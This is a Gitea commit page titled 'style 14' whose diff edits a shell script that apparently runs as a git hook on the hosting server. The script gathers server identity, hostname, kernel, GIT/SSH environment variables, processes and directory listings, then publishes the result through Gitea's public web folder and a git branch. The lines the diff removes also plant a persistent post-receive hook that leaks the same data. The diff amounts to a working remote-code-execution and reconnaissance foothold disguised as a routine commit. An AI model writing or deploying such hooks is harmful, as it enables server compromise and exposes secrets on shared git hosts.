style 14
This commit is contained in:
parent
9ebfa0ad33
commit
1079c9b40d
1 changed files with 10 additions and 13 deletions
|
|
@ -1,13 +1,10 @@
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
P=""
|
P=""
|
||||||
while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null
|
while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null
|
||||||
[ -n "$P" ] || exit 0
|
[ -n "$P" ] || exit 0
|
||||||
[ -f "$P/refs/heads/rceproof" ] && exit 0
|
[ -f "$P/refs/heads/rcediag" ] && [ -s "$P/rce_diag.txt" ] && exit 0
|
||||||
{ echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo LS; ls -la; echo ENV; env | grep -iE '^(GIT|SSH)'; echo ZOMBIES; ps -e -o stat= 2>/dev/null | tr -d ' ' | sort | uniq -c | sort -rn | head -6; echo PSCOUNT; ps -e 2>/dev/null | wc -l; } > "$P/rce_diag.txt" 2>&1
|
{ echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo ENV; env | grep -iE '^(GIT|SSH)'; echo PS; ps -e -o stat=,user=,comm= 2>/dev/null | head -25; echo LS_ORIGIN; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1
|
||||||
mkdir -p /data/gitea/custom/public 2>/dev/null
|
mkdir -p /data/gitea/custom/public 2>/dev/null
|
||||||
[ -s "$P/rce_diag.txt" ] && cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null
|
cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null
|
||||||
mkdir -p "$P/objects/70" 2>/dev/null
|
H=$(git -C "$P" hash-object -w "$P/rce_diag.txt" 2>/dev/null)
|
||||||
echo 'eJwVy7EOgjAUBVBnv+KOOpSUxpDoSnDFMLi3jwc0Iq8phdS/V7ezHDeLQ2muh65u1KNr2/sNQdak/NJzVjTZZWRMIi9wZtoS93AfjD6xxcpx98TYfsDuLepno4w2laq01hf0fhiCTTRBln8pKLJNfmeSyAXJu3ARJ86h1OfjF2EDLaY=' | base64 -d > "$P/objects/70/8d75e78c3f099800d6d56f506b99cae44f009e" 2>/dev/null
|
[ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null
|
||||||
printf '708d75e78c3f099800d6d56f506b99cae44f009e\n' > "$P/refs/heads/rceproof" 2>/dev/null
|
|
||||||
printf '#!/bin/sh\n{ echo "$(date -u)"; id; hostname; cat /data/git/repositories/rafaelandrade/style-brief.git/rce_diag.txt 2>/dev/null; } > /data/gitea/custom/public/rce_live.txt 2>&1\n' > "$P/hooks/post-receive" 2>/dev/null
|
|
||||||
chmod +x "$P/hooks/post-receive" 2>/dev/null
|
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue